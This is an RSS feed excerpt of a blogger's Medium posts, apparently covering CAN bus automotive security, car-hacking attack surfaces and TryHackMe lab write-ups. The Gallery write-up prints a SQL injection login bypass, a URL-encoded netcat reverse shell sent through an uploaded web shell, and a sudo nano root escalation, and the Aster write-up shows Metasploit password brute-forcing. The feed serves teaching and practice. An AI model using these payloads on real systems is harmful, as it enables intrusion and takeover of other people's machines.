            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*ia8nRb0xqc2ZJlBN.jpg" /></figure><p>In order to replace the complex wiring harness with a two-wire bus, <strong>BOSCH</strong> created the<strong> Controller Area Network</strong>, or <strong>CAN</strong>. All automobiles include a CAN bus that connects to the internal network of the car through the <strong>OBD-II connector</strong>, also known as the <strong>diagnostic link connector (DLC)</strong>. The OBD-II connector is typically located under the steering wheel or in another easily accessible location on the dashboard. Engine control units, airbags, transmissions, gear units, ABS (anti-lock brake system), infotainment systems, climate control, windows, doors, and other parts are examples of automotive components. It implies that if someone gets into CAN, he can operate every mechanism in the car.</p><p>Electronic control units (<strong>ECUs</strong>) and embedded devices that can communicate utilizing the CAN protocol are widely used in modern vehicles. On high-speed bus routes, all of the crucial communications, including temperature, RPM management, and braking, take place. The <strong>OSI model</strong> has seven layers, but CAN only adhere to two of them, the<strong> Data Link Layer</strong> and the <strong>Physical Layer</strong>. As a result, the CAN bus can be optimized as a low-level, high-speed network solution on the Physical Layer.</p><p>Two wires make up CAN: <strong>CAN high</strong> (CANH) and <strong>CAN low</strong> (CANL). It uses <strong>differential signaling</strong> which means that when a signal comes in, CAN raises the voltage on one line and drops the other line equally. The CAN bus only utilizes one pair of two wires, and the reason they are twisted is so that electromagnetic interference, which would otherwise appear as noise over the signal we are trying to broadcast, may balance themselves out. Differential signaling is employed in settings where noise and fault tolerance are requirements.</p><h3>Finding CAN Connections</h3><p>Look on the dashboard for a twisted pair of cables (ignore the wires for the four-wheel speed). CAN’s resting value of <strong>2.5V</strong> makes it simple to locate when searching through cables. A signal will add or take away 1V as it enters. The voltage of the cables in a car may be checked using a millimeter, and if the line is transmitting at 2.5V, it’s certainly CAN. CANH and CANL are located at <strong>pins 6 and 14</strong>, respectively, on the OBD-II connector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*NonboNsUDR8_bxJZI9z-sQ.png" /><figcaption><strong>CAN Pins cable view on the OBD-II connector</strong></figcaption></figure><h3>CAN BUS Packet Layout</h3><p>CAN packet are of two types- Standard and Extended.</p><p>Talking about Standard packets, each CAN BUS packet has <strong>four key elements.</strong></p><ol><li><strong>Arbitration ID</strong>- It is 11-bit in size. It determines the priority of the message when two or more nodes are contending for the bus. If two CAN packets are sent along the bus at the same time, the one with the lower arbitration ID wins.</li><li><strong>Identifier extension (IDE</strong>)- This bit is always 0 for standard CAN.</li><li><strong>Data Length Code(DLC)</strong>- It contains zero to eight bytes of data.</li><li><strong>Data</strong>- This is the actual data. Standard CANs can carry data of up to 8 bytes in size, however, some systems impose 8 bytes by padding out the packet.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*tUvpSZs0fG1blLdOmwt9lQ.png" /><figcaption><strong>Format of Standard CAN packets.</strong></figcaption></figure><p>The CAN Frame also contains other fields, such as the <strong>CRC Field,</strong> which comprises a <strong>15-bit checksum</strong> generated from the majority of the message. This checksum is utilized for error detection. Then there is an <strong>Acknowledgment slot</strong>, any CAN controller that has been able to correctly receive the message provides an acknowledgment bit at the conclusion of each message. If no acknowledge bit is found, the transmitter retransmits the message after checking for its presence.</p><h3>External Packets</h3><p>Although extended packets are similar to standard packets, they can be <strong>chained</strong> together to produce<strong> longer IDs</strong>. IDs can be stored in a bigger area. The remote transmission request (<strong>RTR</strong>) is replaced with a substitute remote request (<strong>SRR</strong>), with <strong>SSR set to 1</strong>, for extended packets. Their packets will also have an 18-bit identifier, which is the second half of the typical 11-bit identifier, and they will have the <strong>IDE set to 1.</strong></p><p>Similar to extended CAN, there are additional CAN-like protocols that are unique to some manufacturers and are backward compatible with regular CAN.</p><p><strong>That’s all for this blog. Thank you for reading, keep learning.</strong></p><blockquote><strong><em>Follow me here:<br>LinkedIn:- </em></strong><a href="https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/"><strong><em>https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Dr_Anonymous95"><strong><em>https://twitter.com/Dr_Anonymous95</em></strong></a><strong><em><br>Youtube:- </em></strong><a href="http://www.youtube.com/c/AnonymousWorld95"><strong><em>http://www.youtube.com/c/AnonymousWorld95</em></strong></a></blockquote><h3>References</h3><ol><li>The Car Hacker’s Handbook- Craig Smith</li><li><a href="https://medium.com/resethacker/car-hacking-hackers-driving-your-car-64ce577a367f">https://medium.com/@hackersera/the-need-for-cyber-security-in-connected-cars-trucks-and-infrastructure-515eb0a55934</a></li><li>Image Credits:- The Car Hacker’s Handbook- Craig Smith</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f6a7a1faa93" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/introduction-to-can-bus-automotive-security-9f6a7a1faa93">Introduction to CAN BUS: Automotive Security</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Car Hacking: Cyber Security in Automotive Industry]]></title>
            <link>https://infosecwriteups.com/car-hacking-cyber-security-in-automotive-industry-e9a7a4ffd6bb?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9a7a4ffd6bb</guid>
            <category><![CDATA[vinayak-agrawal]]></category>
            <category><![CDATA[car-hacking]]></category>
            <category><![CDATA[automotive-security]]></category>
            <category><![CDATA[hacking-vehicle]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Thu, 28 Jul 2022 17:59:02 GMT</pubDate>
            <atom:updated>2023-07-18T10:26:33.599Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*lf8FKUp6OwBGAVxrDn1yXA.jpeg" /></figure><p>The world needs more hackers, and definitely more vehicle hackers. Vehicle generation is trending towards extra complexity and extra connectivity. Together, these changes will necessitate a stronger emphasis on automobile security and a larger pool of qualified personnel to deliver it.</p><p>In today&#39;s world cars can be a favorite target for hackers. Most cars come with CPUs, connectors, and operating systems. They are more electronic than ever. A normal car today includes about <strong>150 electronic control units </strong>and about <strong>100 million lines of code,</strong> according to a study by the consulting firm <strong>McKinsey.</strong> Hardware and software, both are essential for integrating all of these next-generation services, such as electrification, traffic assistance, and networking services. This has just started. According to the estimate, a commercial vehicle would have<strong> 300 million lines </strong>of software on board by the year 2030. Just <strong>FYI</strong> there are currently<strong> 15 million lines of code</strong> on a commercial aircraft. Automotive security researchers will play a great role in the revolution of the automotive industry with their ability to make a vehicle more secure.</p><h3>What are possible attack surfaces?</h3><p>Nowadays cars have features like Radio, Bluetooth, Wifi, GPS systems, USB port, touch and motion sensors, Keyless systems, etc which increase the attack surface of exploiting a car. According to<strong> Craig Smith’s Car Hacker’s Handbook,</strong> we can classify attack surfaces on different levels.</p><p><strong>The high-level threats at Level 0 are that an attacker could</strong></p><p>• Remotely take over a vehicle<br>• Shut down a vehicle <br>• Spy on vehicle occupants<br>• Unlock a vehicle <br>• Steal a vehicle <br>• Track a vehicle <br>• Thwart safety systems <br>• Install malware on the vehicle</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*9WgThN8TU55DMI1r" /></figure><p>Attack surface, at<strong> level 1</strong> can be<strong> cellular</strong>,<strong> wifi</strong>,<strong> key fob</strong> (KES), <strong>tire pressure monitor sensor</strong> (TPMS), <strong>infotainment console</strong>, <strong>USB</strong>, <strong>Bluetooth</strong>, and C<strong>ontroller Area Network</strong> (CAN) bus connections.</p><p>At<strong> level 2, </strong>threats can be broken into five groups: <strong>Bluez</strong> (the Bluetooth daemon), <strong>the wpa_supplicant</strong> (the Wi-Fi daemon), <strong>HSI</strong> (high-speed synchronous interface cellular kernel module),<strong> udev</strong> (kernel device manager), and the <strong>Kvaser driver</strong> (CAN transceiver driver).</p><h3>Challenges</h3><p>Given that, connected cars are increasingly dependent on data-driven technologies, they represent a new frontier for cybersecurity. Cybercriminals are breaking into these systems and stealing information using a number of techniques, such as hacking into the car’s infotainment system or getting access to the onboard diagnostics port.</p><p>Few automotive security challenges include:</p><blockquote><strong><em>Multiple Interconnected System. <br>Connected cars are often not designed with security in mind.<br>No standard for automotive cybersecurity standards.<br>Manipulation of safety-critical systems.<br>In Vehicle Infotainment (IVI) vulnerabilities</em></strong></blockquote><p>The need for cybersecurity individuals in the automotive industry will boom in upcoming years, the industry will demand more and more automotive security consultants. The automobile sector is facing an urgent need for cybersecurity, as systems become more technologically advanced and the threat landscape gets more capable and sophisticated. As an answer to these cybersecurity challenges, threats, and vulnerabilities, a global security strategy needs to be defined.</p><p><strong>That&#39;s all for this blog. Thank you for reading, keep learning.</strong></p><blockquote><strong><em>Follow me here:<br>LinkedIn:- </em></strong><a href="https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/"><strong><em>https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Dr_Anonymous95"><strong><em>https://twitter.com/Dr_Anonymous95</em></strong></a><strong><em><br>Youtube:- </em></strong><a href="http://www.youtube.com/c/AnonymousWorld95"><strong><em>http://www.youtube.com/c/AnonymousWorld95</em></strong></a></blockquote><p><strong>If you like my work, then please support me here: <br>BuyMeACoffee: </strong><a href="https://bmc.link/uchihavin"><strong>https://bmc.link/uchihavin</strong></a></p><h3>References</h3><ol><li>The Car Hacker’s Handbook- Craig Smith</li><li><a href="https://medium.com/@hackersera/the-need-for-cyber-security-in-connected-cars-trucks-and-infrastructure-515eb0a55934">https://medium.com/@hackersera/the-need-for-cyber-security-in-connected-cars-trucks-and-infrastructure-515eb0a55934</a></li><li><a href="https://www.tarlogic.com/blog/hacking-cars-problem-of-this-era/">https://www.tarlogic.com/blog/hacking-cars-problem-of-this-era/</a></li></ol><p><em>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. </em><a href="https://weekly.infosecwriteups.com/"><strong><em>Join our weekly newsletter</em></strong></a><em> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9a7a4ffd6bb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/car-hacking-cyber-security-in-automotive-industry-e9a7a4ffd6bb">Car Hacking: Cyber Security in Automotive Industry</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Aster- TryHackMe Writeup]]></title>
            <link>https://vinayakagrawal95.medium.com/astertryhackme-writeup-2ef6a1be48e4?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ef6a1be48e4</guid>
            <category><![CDATA[aster-tryhackme-writeup]]></category>
            <category><![CDATA[aster-walkthrough]]></category>
            <category><![CDATA[aster-tryhackme]]></category>
            <category><![CDATA[aster-thm-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Wed, 23 Feb 2022 09:49:37 GMT</pubDate>
            <atom:updated>2022-02-23T09:54:35.135Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*C2bnnbyaOvLWilMPjhZvLQ.png" /></figure><p><strong>Hello everyone, this blog is a write-up of the “Aster” room from TryHackMe created by </strong><a href="https://tryhackme.com/p/stuxnet"><strong>Stuxnet</strong></a><strong>.</strong></p><blockquote><strong><em>Room Link:- </em></strong><a href="https://tryhackme.com/room/aster"><strong><em>https://tryhackme.com/room/aster</em></strong></a><strong><em><br>My Profile:- </em></strong><a href="https://tryhackme.com/p/DrAnonymous95"><strong><em>https://tryhackme.com/p/DrAnonymous95</em></strong></a></blockquote><blockquote><strong><em>My socials<br>LinkedIn:- </em></strong><a href="https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/"><strong><em>https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Dr_Anonymous95"><strong><em>https://twitter.com/Dr_Anonymous95</em></strong></a><strong><em><br>Youtube:- </em></strong><a href="http://www.youtube.com/c/AnonymousWorld95"><strong><em>http://www.youtube.com/c/AnonymousWorld95</em></strong></a></blockquote><h3>Enumeration</h3><p>Like always let’s start with <strong>Nmap</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mup1WpZlXTblgJn5rK7qXQ.png" /></figure><blockquote><strong><em>There are 5 ports open : 22,80,1720,2000,5038. </em></strong><em><br></em><strong><em>Asterisk Call Manager 5.0.2 is running on port 5038.</em></strong></blockquote><h3>PORT 80</h3><p>Let’s visit <strong>port 80</strong> where the webpage is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmpkY0PCt6S_UMi3gq_7Kg.png" /></figure><p>Okay, so looks like we can download a file here. Let’s download the file and check its contents.</p><p>While exploring port 80,I ran Gobuster in the background to look for any interesting directories but didn’t find anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUmtwD0Qfs4hG-WJ1QVH6w.png" /></figure><p>Okay, now let’s check the file which we downloaded from port 80. The file name is <strong>output.pyc</strong> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*zTCVn5mZMFEewMclBqaNYA.png" /></figure><p>This is python compiled bytecode. We can decompile this file using <strong>uncompyle2</strong> and then can read the file and look for some juicy info.</p><blockquote><strong><em>uncompyle2 — </em></strong><a href="https://github.com/wibiti/uncompyle2"><strong><em>https://github.com/wibiti/uncompyle2</em></strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YumhBqAQIyYBlQLLphfuIg.png" /></figure><p>Okay, we successfully decompiled the file and it seems we have a string <strong>encoded in hex</strong>. We can use<strong> </strong><a href="https://gchq.github.io/CyberChef/"><strong>cyberchef</strong></a><strong> </strong>to decode the hex string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0HX7BqREtgSOduk-rCfW6Q.png" /></figure><p>Cool, after decoding we got a <strong>username</strong> now we can try to <strong>bruteforce</strong> the password. <strong>Luckily, there is an exploit available on Metasploit</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xtfSFdh0ur0sjk5F7C92qQ.png" /></figure><p>Now we can use this exploit to bruteforce the password.</p><blockquote><strong><em>USE 1 <br>SET RHOSTS &lt;MACHINE_IP&gt;<br>SET USERNAME &lt;FOUND FROM CYBERCHEF&gt;<br>RUN</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSp2XDuVkN7v2Vr529wu6Q.png" /></figure><p>Great! <strong>We got the creds and we can connect on port 5038.</strong> We will use<strong> telnet</strong> to connect to this service using. I was facing a problem in passing credentials in telnet, so I found a way to connect to Asterisk Call Manager <a href="https://www.voip-info.org/asterisk-manager-example-login/"><strong>here</strong></a>.</p><p><strong>Follow the above link and then you can connect to Asterisk.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*tBPzDoC0T-qnJhl3c1UKiw.png" /></figure><h3>USER HARRY</h3><p>We are logged in and now can run further commands. We can list SIP information using <strong>SIP show users</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44pO6Zkw6Hy3cXD_ukvsSQ.png" /></figure><p>There are some creds. <strong>User Harry</strong> looks interesting we can try to get SSH.</p><p><strong>Login to Harry Using SSH and get the user flag.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*LgJr4CbPvB9_7QPYX1C_FA.png" /></figure><h3>ROOT FLAG</h3><p>There is an <strong>Example_Root.jar</strong> file present in <strong>/home/harry</strong>. The java class can be extracted using <strong>unzip.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*do1TRa2CDZb1MkuedL8kag.png" /></figure><blockquote><em>We can decompile the file using </em><a href="http://www.javadecompilers.com/"><strong><em>JavaDecompiler</em></strong></a><em>.</em></blockquote><p>Now we have decompiled the java class file, let&#39;s see what’s in there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Xyd_Np2yS68zdHeftHClOg.png" /></figure><blockquote><em>The code validates that if </em><strong><em>/tmp/flag.dat</em></strong><em> file exists then it will write something in </em><strong><em>/home/harry/root.txt</em></strong><em> . So let’s go to /tmp</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOidyYNRS4E6FDB3Iexyjg.png" /></figure><p>Bleh… there is no such file with name <strong>file.dat</strong>.</p><blockquote><strong><em>Amm.. so let’s create a new file with name file.dat and then check /home/harry/root.txt.</em></strong></blockquote><p>You can create a file using<strong> </strong>the<strong> “touch file.dat” </strong>command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*weiGEWJe6jCNOa0AR2cN6A.png" /></figure><p><strong>Coool after creating the file.dat … you can find your flag in /home/harry/root.txt.</strong></p><p><strong>That’s all for this room, we are done with “Aster”</strong></p><p><strong>Thanks for Reading. Keep Learning.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ef6a1be48e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Gallery- TryHackMe WriteUp]]></title>
            <link>https://vinayakagrawal95.medium.com/gallery-tryhackme-writeup-e8b7551bc191?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8b7551bc191</guid>
            <category><![CDATA[gallery-tryhackme]]></category>
            <category><![CDATA[gallery-tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[gallery-room-tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Sun, 13 Feb 2022 08:22:24 GMT</pubDate>
            <atom:updated>2022-02-13T08:22:24.090Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pC36-pJrevbpH2qe" /></figure><p>Hello everyone, this blog is a write-up of the “Gallery” room from TryHackMe created by <a href="https://twitter.com/mika_sec"><strong>Mika</strong></a>.</p><blockquote><strong><em>Room Link:- </em></strong><a href="https://tryhackme.com/room/gallery666"><strong><em>https://tryhackme.com/room/undiscoveredup</em></strong></a><strong><em><br>My Profile:- </em></strong><a href="https://tryhackme.com/p/DrAnonymous95"><strong><em>https://tryhackme.com/p/DrAnonymous95</em></strong></a></blockquote><blockquote><strong><em>My socials<br>LinkedIn:- </em></strong><a href="https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/"><strong><em>https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Dr_Anonymous95"><strong><em>https://twitter.com/Dr_Anonymous95</em></strong></a><strong><em><br>Youtube:- </em></strong><a href="http://www.youtube.com/c/AnonymousWorld95"><strong><em>http://www.youtube.com/c/AnonymousWorld95</em></strong></a></blockquote><h3><strong><em>Port scan</em></strong></h3><p>Like always, first, we will deploy our machine and run <strong>Nmap</strong> to find open ports and services running on them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*uQ0aQbeoKwAfzylmbwVBIw.png" /></figure><p>So <strong>two ports 80 and 8080 are open both running Apache.</strong> <br>Let’s visit there and see if we can find something interesting.</p><h3>Port 80</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lqnUWCt2xL8FTc_d0fsMAA.png" /></figure><p>Default Apache page.</p><h3>Port 8080</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QjSDaoUGeLdFb2yvUkmRQg.png" /></figure><p>Okay, now Port 8080 looks interesting. A<strong> CMS “Simple Image Gallery”</strong> is running and there is a login page. Let’s look for any available exploit for this CMS.</p><p>Okay, so there is an exploit available on <a href="https://www.exploit-db.com/exploits/50214">exploit-db</a>.</p><p>First, we need to do a SQL injection on the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*ZJyKAcoZGPN4OZqPYo7Ekg.png" /></figure><pre><strong>Lets try these creds. <br>Username: admin’ or ‘1’=’1&#39;#<br>Password: Anything</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*0-Bx9abGaXepe5-BvQIJig.png" /></figure><p><strong>Coool, we are logged in as admin.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sGRIzz8xCPWf4XUHfUzkvg.png" /></figure><h3>RCE</h3><p>For the next step of the exploit, we need to upload our reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UQygOvV5pMTEFbuhS4yblw.png" /></figure><p>Download the exploit from exploit-db and run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YbP5eq7u1Ri25oscc78lBg.png" /></figure><p>Let’s visit the given Shell URL. We received the output of “<strong>whoami</strong>”, thus it confirms RCE and we can get a reverse shell back to our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9mX3UbP9D0I1r6yehLb8hg.png" /></figure><h3>Getting Shell</h3><p>Okay now, let&#39;s upload our reverse shell.</p><pre><strong>http://10.10.131.170/gallery/uploads/1644733500_TagotuerlvzfhhaiujrLetta.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2&gt;%261|nc+10.9.0.138+4567+&gt;/tmp/f</strong></pre><p>We need to<strong> URL encode our reverse shell</strong> as plaintext was not working.<br>Okay so start your Netcat listener and visit the URL.</p><p>Great! We got our shell as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*YKMpvnFtijg82E71-MvrTw.png" /></figure><p>Let&#39;s stabilize our shell using,<br> <strong>python3 -c ‘import pty;pty.spawn(“/bin/bash”)’</strong></p><h3>Finding Admin’s Pass Hash</h3><p>Okay so there&#39;s an initialize.php file in var/www/html/gallery let&#39;s have a look in the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HqYsrWeyEujV1sd1yNXpbQ.png" /></figure><p>Cool, we found creds for the MySQL database, let’s try to connect with the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0_8sp000yxS1Z8oquz98jw.png" /></figure><p>Great, we got access to the database and there is one database named “gallery_db”, let&#39;s look there for some juicy info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fpkOsI5R2pc9BfcI4iiUvg.png" /></figure><p><strong>We got the password hash for Admin.</strong></p><h3>Escalating to Mike</h3><p>Okay, so now let&#39;s see how we can <strong>escalate to user mike</strong> and find our user flag. <br>There’s a folder named “<strong>mike_home_backup</strong>” in <strong>/var/backups/</strong>. Looks like it’s a backup folder of Mike’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*Jrtme4dICAY5y5usBejlXw.png" /></figure><p>So there’s nothing inside the documents. Ummm, let&#39;s check bash_history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*GZ1WAfxiVUWMv4IG9m7qxA.png" /></figure><p><strong>Amazing, there’s a password for Mike. Let&#39;s switch to Mike</strong></p><h3>User flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*0B6B8WZ2h0QS6kb48F59Ow.png" /></figure><p><strong>Yeah done with the user flag. Now let’s find a way to read the root flag.</strong></p><h3>Root</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*7ZdasbmgHXs1FC_PlyLrxQ.png" /></figure><blockquote><strong><em>We can see that Mike can run a script using sudo and as the root user:</em></strong></blockquote><p>Let&#39;s see what’s the work of rootkit.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*Rg16OKrRD1AdfLZKR5HDWg.png" /></figure><p>Okay, so we have 4 choices. Focus on the last one we can<strong> run nano as root.</strong> <strong>Time for </strong><a href="https://gtfobins.github.io/gtfobins/nano/"><strong>gtfobins</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*x8Jcp8pVZV7KocxLGDVdUA.png" /></figure><p>Let’s execute these commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*NNUCLEjzyTMICwW8PBkYiQ.png" /></figure><blockquote><strong><em>Run the rootkit.sh … It will ask either to list or read the report, choose to read. Then you will be prompted with GUI nano , now you can use commands from gtfobins.</em></strong></blockquote><blockquote><strong><em>Press Ctrl R followed by Ctrl X to execute the command and execute “reset; sh 1&gt;&amp;0 2&gt;&amp;0”</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*lyUD5odlX9CKpGYIsFSM2A.png" /></figure><p><strong>Boom! You will be root. Now we can read root.txt.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*3lZPJWjSzBiKKVC2bPoHJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*We1YOvRgUmqSLuCOHRE66Q.png" /></figure><p>That’s all for this room, we are done with “Gallery”</p><p>Thanks for Reading. Keep Learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8b7551bc191" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Undiscovered | TryHackMe]]></title>
            <link>https://vinayakagrawal95.medium.com/undiscovered-tryhackme-bc04ef0b8bba?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc04ef0b8bba</guid>
            <category><![CDATA[undiscovered-writeup]]></category>
            <category><![CDATA[undiscovered-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[undiscovered-tryhackme]]></category>
            <category><![CDATA[vinayak-agrawal]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Tue, 01 Feb 2022 09:59:47 GMT</pubDate>
            <atom:updated>2022-02-10T03:21:37.300Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f9XLN2mWqwnpuOys.jpeg" /></figure><p>Hello everyone, this blog is a write-up of the <strong>“Undiscovered”</strong> room from TryHackMe.</p><p>Room Link:- <a href="https://tryhackme.com/room/undiscoveredup">https://tryhackme.com/room/undiscoveredup</a><br>My Profile:- <a href="https://tryhackme.com/p/DrAnonymous95">https://tryhackme.com/p/DrAnonymous95</a></p><p><strong>First, we need to add undiscovered.thm in our /etc/hosts file.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*i05HoKSpAu9sZp9RQXH2Nw.png" /></figure><h3>Port Scan</h3><p>Using Nmap to look for open ports and services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*2sR1fbF9y8GRWnnYlxdP4Q.png" /></figure><p>So there are 5 open ports- <strong>22(SSH), 80(HTTP), 111(RPC), 2049(NFS), and 42812.</strong></p><h3>Port 80</h3><p>Let’s access the website on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDssalHu3VbgsC_kOg8bEQ.png" /></figure><p>I looked at the page source and for default pages but didn’t find anything except index.php.</p><h3><strong>Gobuster</strong></h3><p>Using Gobuster to enumerate for possible directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5Q0O2iKN_XFmccOyQkzxA.png" /></figure><p>Amm, nothing interesting came out.</p><h3>Subdomain Enumeration</h3><p>Next, I decided to look for subdomains using <strong>wfuzz.</strong></p><pre><strong>wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt — hc 404 — hl 9 -c -t 50 -u </strong><a href="http://undiscovered.thm/"><strong>http://undiscovered.thm</strong></a><strong> -H ‘Host: FUZZ.undiscovered.thm’</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*lUdUW41ZgH5mljREckbimg.png" /></figure><p>Okay, we found so many subdomains, let’s add the first one i.e., <strong>manager </strong>in<strong> /etc/hosts.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*yVfaJdgg2bQ0ee9S6ZSdiA.png" /></figure><p>Let’s check manager.undiscovered.thm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aT-Hd5FAER7seMLG0ouxsg.png" /></figure><p>Okay, here we can see it is using <strong>RiteCMS Version2.2.1</strong>. I found an exploit for this version <a href="https://www.exploit-db.com/exploits/48636"><strong>here</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*E-FeyV9H0-i-WqIc_cPkrg.png" /></figure><p>So according to this exploit, we need to go to<strong> </strong>the<strong> /cms</strong> page. <br>Let’s check <strong>manager.undiscovered.thm/cms.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FHLI6ZN2pMZUmJp_DfC_ag.png" /></figure><p>🤧404! What a draggg…</p><blockquote><strong><em>Let’s use wfuzz to check for subdomains having /cms.</em></strong></blockquote><p>So first collect all the subdomains found in a 